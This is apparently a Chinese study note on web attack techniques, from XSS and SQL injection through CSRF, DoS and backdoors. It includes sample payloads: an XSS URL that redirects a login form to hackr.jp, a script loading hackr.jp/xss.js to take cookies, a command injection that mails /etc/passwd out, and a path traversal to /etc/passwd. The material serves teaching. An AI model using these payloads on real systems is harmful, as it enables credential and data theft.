10. Web 的攻击技术
针对 Web 的攻击技术
简单的 HTTP 协议本身并不存在安全性问题,因此协议本身几乎不会成为攻击的对象。应用 HTTP 协议的服务器和客户端,以及运行在服务器上的Web应用等资源才是攻击目标
目前,来自互联网的攻击大多是冲着 Web 站点来的,它们大多把 Web 应用作为攻击目标
HTTP 不具备必要的���全功能
几乎现今所有的 Web 网站都会使用会话(session)管理、加密处理等安全性方面的功能,而 HTTP 协议内并 不具备这些功能
从整体上看,HTTP 就是一个通用的单纯协议机制。因此它具备较多优势,但是在安全性方面则呈劣势。就拿远程登录时会用到的SSH协议来说,SSH具备协议级别的认证及会话管理等功能,HTTP协议则没有。
因此,开发者需要自行设计并开发认证及会话管理功能来满足Web应用的安全。而自行设计就意味着会出现各种形形色色的实现。结果,安全等级并不完备,可仍在运作的Web应用背后却隐藏着各种容易被攻击者滥用的安全漏洞的Bug。
在客户端即可篡改请求
在 Web 应用中,从浏览器那接收到的HTTP请求的全部内容,都可以在客户端自由地变更、篡改。所以 Web 应用可能会接收到与预期数据不相同的内容
在 HTTP 请求报文内加载攻击代码,就能发起对Web应用的攻击。通过URL查询字段或表单、HTTP 首部、Cookie等途径把攻击代码传入,若这时Web应用存在安全漏洞,那内部信息就会遭到窃取,或被攻击者拿到管理权限。
针对 Web 应用的攻击模式
对 Web 应用的攻击模式有以下两种:
- 主动攻击
- 被动攻击
以服务器为目标的主动攻击
主动攻击(active attack)是指攻击者通过直接访问Web应用,把攻击代码传入的攻击模式。由于该模式是直接针对服务器上的资源进行攻击,因此攻击者需要能够访问到那些资源。
主动攻击模式里具有代表性的攻击是 SQL注入攻击和 OS 命令注入攻击。
以服务器为目标的被动攻击
被动攻击(passive attack)是指利用圈套策略执行攻击代码的攻击模式。在被动攻击过程中,攻击者不直接对目标 Web 应用访问发起攻击。
- 攻击者诱���用户触发已设置好的陷阱,而陷阱会启动发 送已嵌入攻击代码的 HTTP 请求
- 当用户不知不觉中招之后,用户的浏览器或邮件客户端就会触发这个陷阱
- 中招后的用户浏览器会把含有攻击代码的 HTTP 请求发 送给作为攻击目标的 Web 应用,运行攻击代码
- 执行完攻击代码,存在安全漏洞的Web应用会成为攻击者的跳板,可能导致用户所持的 Cookie 等个人信息被窃取,登录状态中的用户权限遭恶意滥用等后果。
被动攻击模式中具有代表性的攻击是跨站脚本攻击和跨站点请求伪造。
利用被动攻击,可发起对原本从互联网上无法直接访问的企业内网等网络的攻击。只要用户踏入攻击者预先设好的陷阱,在用户能够访问到的网络范围内,即使是企业内网也同样会受到攻击
很多企业内网依然可以连接到互联网上,访问Web网站,或接收互联网发来的邮件。这样就可能给攻击者以可乘之机,诱导用户触发陷阱后对企业内网发动攻击。
因输出值转义不完全引发的安全漏洞
实施 Web 应用的安全对策可大致分为以下两部分:
- 客户端的验证
- Web 应用端(服务器端)的验证
- 输入值验证
- 输出值转义
多数情况下采用JavaScript在客户端验证数据。可是在客户端允许篡 改数据或关闭 JavaScript,不适合将JavaScript验证作为安全的防范对策。保留客户端验证只是为了尽早地辨识输入错误,起到提高UI体验的作用。
Web应用端的输入值验证按Web应用内的处理则有可能被误认为是具有攻击性意义的代码。输入值验证通常是指检查是否是符合系统业务逻辑的数值或检查字符编码等预防对策。
从数据库或文件系统、HTML、邮件等输出Web应用处理的数据之际,针对输出做值转义处理是一项至关重要的安全策略。当输出值转义不完全时,会因触发攻击者传入的攻击代码,而给输出对象带来损害。
跨站脚本攻击
跨站脚本攻击(Cross-Site Scripting,XSS)是指通过存在安全漏洞的Web 网站注册用户的浏览器内运行非法的HTML标签或JavaScript进行的一种攻击。
动态创建的 HTML部分有可能隐藏着安全漏洞。就这样,攻击者编写脚本设下陷阱,用户在自己的浏览器上运行时,一不小心就会受到被动攻击。
跨站脚本攻击有可能造成以下影响:
- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的Cookie值,被害者在不知情的情况下,帮助攻击者发送恶意请求
- 显示伪造的文章或图片
跨站脚本攻击案例
HTML
在动态生成 HTML处发生下面以编辑个人信息页面为例讲解跨站脚本攻击。
确认界面按原样显示在编辑界面输入的字符串。此处输入带有山 口一郎这样的 HTML标签的字符串。
此时的确认界面上,浏览器会把用户输入的s解析成HTML标签,然后显示删除线。 删除线显示出来并不会造成太大的不利后果,但如果换成使用script标签将会如何呢。
XSS
XSS 是攻击者利用预先设置的陷阱触发的被动攻击
跨站脚本攻击属于被动攻击模式,因此攻击者会事先布置好用于攻击的陷阱。
通过地址栏中 URI的查询字段指定ID,即相当于在表单内自动填写字符串的功能。而就在这个地方,隐藏着可执行跨站脚本攻击的漏洞
充分熟知此处漏洞特点的攻击者,于是就创建了下面这段嵌入恶 意代码的 URL。并隐藏植入事先准备好的欺诈邮件中或 Web 页 面内,诱使用户去点击该 URL。
1 | http://example.jp/login?ID="><script>var+f=document.getElementById("login");+f.action="http://hackr.jp/pwget";+f.method="get";</script><span+s=" |
浏览器打开该 URI 后,直观感觉没有发生任何变化,但设置好的脚本却偷偷开始运行了。当用户在表单内输入ID和密码之后,就会直接发送到攻击者的网站
之后,ID 及密码会传给该正规网站,而接下来仍然是按正常登录步骤,用户很难意识到自己的登录信息已遭泄露。
对用户 Cookie 的窃取攻击
除了在表单中设下圈套之外,下面那种恶意构造的脚本同样能够以跨站脚本攻击的方式,窃取到用户的 Cookie 信息。
1 | <script src=http://hackr.jp/xss.js></script> |
在存在可跨站脚本攻击安全漏洞的Web应用上执行上面这段JavaScript程序,即可访问到该Web应用所处域名下的Cookie信息。然后这些信息会发送至攻击者的Web网站,记录在他的登录日志中。结果,攻击者就这样窃取到用户的 Cookie 信息了。
SQL注入攻击
会执行非法SQL的SQL注入攻击
SQL注入(SQLInjection)是指针对 Web 应用使用的数据库,通过运行非法的 SQL而产生的攻击。该安全隐患有可能引发极大的威胁,有时会直接导致个人信息及机密信息的泄露。
Web 应用通常都会用到数据库,当需要对数据库表内的数据进行检索或添加、删除等操作时,会使用 SQL语句连接数据库进行特定的操作。如果在调用SQL语句的方式上存在疏漏,就有可 能执行被恶意注入(Injection)非法 SQL语句。]
- 非法查看或篡改数据库内的数据
- 规避认证
- 执行和数据库服务器业务关联的程序等
SQL注入攻击案例
下面以某个购物网站的搜索功能为例,可以将某作者的名字作为搜索关键字,查找该作 者的所有著作
把刚才指定查询字段的上野宣改写成“上野宣’–”。
SQL语句中的 – 之后全视为注释。即,and flag=1 这个条件被自动忽略了
结果跟 flag 的设定值无关,只取出满足author=“上野宣”条件所在行的数据,这样连那些尚未出版的书籍也一并显示出来了
OS 命令注入攻击
OS命令注入攻击(OS Command Injection)是指通过Web应用,执行非法的操作系统命令达到攻击的目的。只要在能调用Shell函数的地方就有存在被攻击的风险
OS 命令注入攻击可以向 Shell 发送命令,让 Windows 或 Linux 操作系 统的命令行启动程序。也就是说,通过 OS 注入攻击可执行OS上安装着的各种程序
OS 注入攻击案例
将��户的咨询邮件按已填写的对方邮箱地址发送过去
1 | my $adr = $q->param('mailaddress'); |
攻击者将下面的值指定作为邮件地址。
1 | ; cat /etc/passwd | mail hack@example.jp |
程序接收该值,构成以下的命令组合。
1 | | /usr/sbin/sendmail ; cat /etc/passwd | mail hack@example.jp |
攻击者的输入值中含有分号(;)。这个符号在OS命令中,会被解析为分隔多个执行命令的标记。
结果,含有 Linux 账户信息 /etc/passwd 的文件,就以邮件形式发送给了 hack@example.jp
HTTP 首部注入攻击
HTTP 首部注入攻击(HTTP Header Injection)是指攻击者通过在响应首部字段内插入换行,添加任意响应首部或主体的一种攻击。属于被动攻击模式
向首部主体内添加内容的攻击称为HTTP响应截断攻击(HTTP Response Splitting Attack)。
Web 应用有时会把从外部接收到的数值,赋给响应首部字段Location和Set-Cookie。
1 | Location: http://www.example.com/a.cgi?q=12345 |
HTTP 首部注入可能像这样,通过在某些响应首部字段需要处理输出值的地方,插入换行发动攻击
造成以下一些影响
- 设置任何 Cookie 信息
- 重定向至任意 URL
- 显示任意的主体(HTTP 响应截断攻击)
邮件首部注入攻击
邮件首部注入(Mail Header Injection)是指Web应用中的邮件发送功能,攻击者通过向邮件首部 To 或 Subject 内任意添加非法内容发起的攻击。利用存在安全漏洞的Web网站,可对任意邮件地址发送广告邮件或病毒邮件。
案例
表单内填入咨询者的邮件地址及咨询内容后,以邮件的形式发送给网站管理员
攻击者将以下数据作为邮件地址发起请求
1 | bob@hackr.jp%0D%0ABcc: user@example.com |
%0D%0A 在邮件报文中代表换行符。一旦咨询表单所在的Web应用接收了这个换行符,就可能实现对 Bcc 邮件地址的追加发送,而这原本是无法指定的。
像下面一样,使用两个连续的换行符就有可能篡改邮件文本内容并发送
1 | bob@hackr.jp%0D%0A%0D%0ATest Message |
再以相同的方法,就有可能改写To和Subject等任意邮件首部,或向文本添加附件等动作。
目录遍历攻击
目录遍历(Directory Traversal)攻击是指对本无意公开的文件目录,通过非法截断其目录路径后,达成访问目的的一种攻击。这种攻击有时也称为路径遍历(Path Traversal)攻击
通过 Web 应用对文件处理操作时,在由外部指定文件名的处理存在疏漏的情况下,用户可使用 …/ 等相对路径定位到/etc/passed等绝对路径上,因此服务器上任意的文件或文件目录皆有可能被访问到。这样一来,就有可能非法浏览、篡改或删除 Web 服务器上的文件。
固然存在输出值转义的问题,但更应该关闭指定对任意文件名的访问权限。
案例
指定某个文件名。然后从 /www/log/ 文件目录下 读取这个指定的文件
1 | http://example.com/read.php?log=0401.log |
攻击者设置如下查询字段后发出请求。
1 | http://example.com/read.php?log=../../etc/passwd |
查询字段为了读取攻击者盯上的/etc/passwd文件,会从/www/log/目录开始定位相对路径。如果这份read.php脚本接受对指定目录的访问请求处理,那原本不公开的文件就存在可被访问的风险
远程文件包含漏洞
远程文件包含漏洞(Remote File Inclusion)是指当部分脚本内容需要从其他文件读入时,攻击者利用指定外部服务器的URL充当依赖文件,让脚本读取之后,就可运行任意脚本的一种攻击。
这主要是 PHP 存在的安全漏洞,对PHP的include或require来说,这是一种可通过设定,指定外部服务器的 URL作为文件名的功能。但是,该功能太危险,PHP5.2.0之后默认设定此功能无效。
固然存在输出值转义的问题,但更应控制对任意文件名的指定。
因设置或设计上的缺陷引发的安全漏洞
因设置或设计上的缺陷引发的安全漏洞是指,错误设置Web服务器,或是由设计上的一些问题引起的安全漏洞。
强制浏览
强制浏览(Forced Browsing)安全漏洞是指,从安置在 Web 服务器 的公开目录下的文件中,浏览那些原本非自愿公开的文件。
- 泄露顾客的个人信息等重要情报
- 泄露原本需要具有访问权限的用户才可查阅的信息内容
- 泄露未外连到外界的文件
不正确的错误消息处理
不正确的错误消息处理(Error Handling Vulnerability)的安全漏洞是指,Web 应用的错误信息内包含对攻击者有用的信息。
- Web 应用抛出的错误消息
- 数据库等系统抛出的错误消息
Web 应用不必在用户的浏览画面上展现详细的错误消息。对攻击者来说,详细的错误消息有可能给他们下一次攻击以提示。
开放重定向
开放重定向(Open Redirect)是一种对指定的任意URL作重定向跳转的功能。而于此功能相关联的安全漏洞是指,假如指定的重定向URL到某个具有恶意的Web网站,那么用户就会被诱导至那个Web网站。
案例
向 URL指定参数后,使本来的 URL发生重定向跳 转。
1 | http://example.com/?redirect=http://www.tricorder.jp |
攻击者把重定向指定的参数改写成已设好陷阱的 Web 网站对应 的 连接,如下所示。
1 | http://example.com/?redirect=http://hackr.jp |
可信度高的 Web 网站如果开放重定向功能,则很有可能被攻击者选中并用来作为钓鱼攻击的跳板。
因会话管理疏忽引发的安全漏洞
会话管理是用来管理用户状态的必备功能,但是如果在会话管理上有所疏忽,就会导致用户的认证状态被窃取等后果。
会话劫持
会话劫持(Session Hijack)是指攻击者通过某种手段拿到了用户的会话ID,并非法使用此会话 ID 伪装成用户,达到攻击的目的
具备认证功能的Web应用,使用会话ID的会话管理机制,作为管理认证状态的主流方式。会话 ID 中记录客户端的Cookie等信息,服务器端将会话ID与认证状态进行一对一匹配管理。
- 通过非正规的生成方法推测会话 ID
- 通过窃听或 XSS 攻击盗取会话 ID
- 通过会话固定攻击(Session Fixation)强行获取会话 ID
案例
认证功能通过会 话管理机制,会将成功认证的用户的会话 ID(SID)保存在用户 浏览器的 Cookie 中。
攻击者在得知该 Web 网站存在可跨站攻击(XSS)的安全漏洞 后,就设置好用 JavaScript 脚本调用 document.cookie以窃取Cookie信息的陷阱,一旦用户踏入陷阱(访问了该脚本),攻击 者就能获取含有会话 ID 的 Cookie。
攻击者拿到用户的会话ID后,往自己的浏览器的Cookie中设置该会话ID,即可伪装成会话 ID 遭窃的用户,访问 Web 网站了。
会话固定攻击
对以窃取目标会话 ID 为主动攻击手段的会话劫持而言,会话固定攻击(Session Fixation)攻击会强制用户使用攻击者指定的会话ID,属于被动攻击。
跨站点请求伪造
跨站点请求伪造(Cross-Site Request Forgeries,CSRF)攻击是指攻击者通过设置好的陷阱,强制对已完成认证的用户进行非预期的个人信息或设定信息等某些状态更新,属于被动攻击
影响:
- 利用已通过认证的用户权限更新设定信息等
- 利用已通过认证的用户权限购买商品
- 利用已通过认证的用户权限在留言板上发表言论
攻击案例
以留言板功能为例,讲解跨站点请求伪造。该功能只允许已认证并登录的用户在留言板上发表内容
其他安全漏洞
密码破解
密码破解攻击(Password Cracking)即算出密码,突破认证。攻击不 仅限于 Web 应用,还包括其他的系统(如 FTP 或 SSH 等)
密码破解有以下两种手段:
- 通过网络的密码试错
- 对已加密密码的破解(指攻击者入侵系统,已获得加密或散列处理的密码数据的情况)
除去突破认证的攻击手段,还有SQL注入攻击逃避认证,跨站脚本攻击窃取密码信息等方法。
通过网络进行密码试错
对 Web 应用提供的认证功能,通过网络尝试候选密码进行的一种攻击。主要有以下两种方式。
- 穷举法
- 字典攻击
穷举法
穷举法(Brute-force Attack,又称暴力破解法)是指对所有密钥集合构成的密钥空间(Keyspace)进行穷举。即,用所有可行的候选密码对目标的密码系统试错,用以突破验证的一种攻击。
银行采用的个人识别码是由“4位数字”组成的密码,那么就要从0000~9999中的全部数字逐个进行尝试。
字典攻击
字典攻击是指利用事先收集好的候选密码(经过各种组合方式后存入字典),枚举字典中的密码,尝试通过认证的一种攻击手法。
还是举银行采用个人识别码是“4位数字”的密码的例子,考虑到用户使用自己的生日做密码的可能性较高,于是就可以把生日日期数值化,如将0101~1231保存成字典,进行尝试。
与穷举法相比,由于需要尝试的候选密码较少,意味着攻击耗费的时间比较短。但是,如果字典中没有正确的密码,那就无法破解成功。因此攻击的成败取决于字典的内容。
利用别处泄露的 ID·密码进行攻击
字典攻击中有一种利用其他Web网站已泄露的ID及密码列表进行的攻击。很多用户习惯随意地在多个 Web 网站使用同一 套 ID及密码,因此攻击会有相当高的成功几率1。
对已加密密码的破解
Web 应用在保存密码时,一般不会直接以明文的方式保存,通过散列函数做散列处理或加 salt 的手段对要保存的密码本身加密。那即使攻击者使用某些手段窃取密码数据,如果想要真正使用这些密码,则必须先通过解码等手段,把加密处理的密码还原成明 文形式
通常有以下几种方法。
- 通过穷举法 字典攻击进行类推
- 彩虹表
- 拿到密钥
- 加密算法的漏洞
点击劫持
点击劫持(Clickjacking)是指利用透明的按钮或链接做成陷阱,覆盖在Web页面之上。然后诱使用户在不知情的情况下,点击那个链接访问内容的一种攻击手段。这种行为又称为界面伪装(UI Redressing)。
已设置陷阱的 Web 页面,表面上内容并无不妥,但早已埋入想让用户点击的链接。当用户点击到透明的按钮时,实际上是点击了已指定透明属性元素的 iframe 页面。
DoS 攻击
DoS 攻击(Denial of Service attack)是一种让运行中的服务呈停止状态的攻击。有时也叫做服务停止攻击或拒绝服务攻击。DoS 攻击的对象不仅限于 Web 网站,还包括网络设备及服务器等。
两种 DoS 攻击方式
- 集中利用访问请求造成资源过载,资源用尽的同时,实际上服务也就呈停止状态。
- 通过攻击安全漏洞使服务停止。
其中,集中利用访问请求的DoS攻击,单纯来讲就是发送大量的合法请求。服务器很难分辨何为正常请求,何为攻击请求,因此很难防止 DoS 攻击。
多台计算机发起的 DoS 攻击称为 DDoS 攻击(Distributed Denial of Service attack)。DDoS攻击通常利用那些感染病毒的计算机作为攻击者的攻击跳板。
后门程序
后门程序(Backdoor)是指开发设置的隐藏入口,可不按正常步骤使用受限功能。利用后门程序就能够使用原本受限制的功能
三种类型:
- 开发阶段作为 Debug 调用的后门程序
- 开发者为了自身利益植入的后门程序
- 攻击者通过某种方法设置的后门程序
可通过监视进程和通信的状态发现被植入的后门程序。但设定在Web应用中的后门程序,由于和正常使用时区别不大,通常很难发现。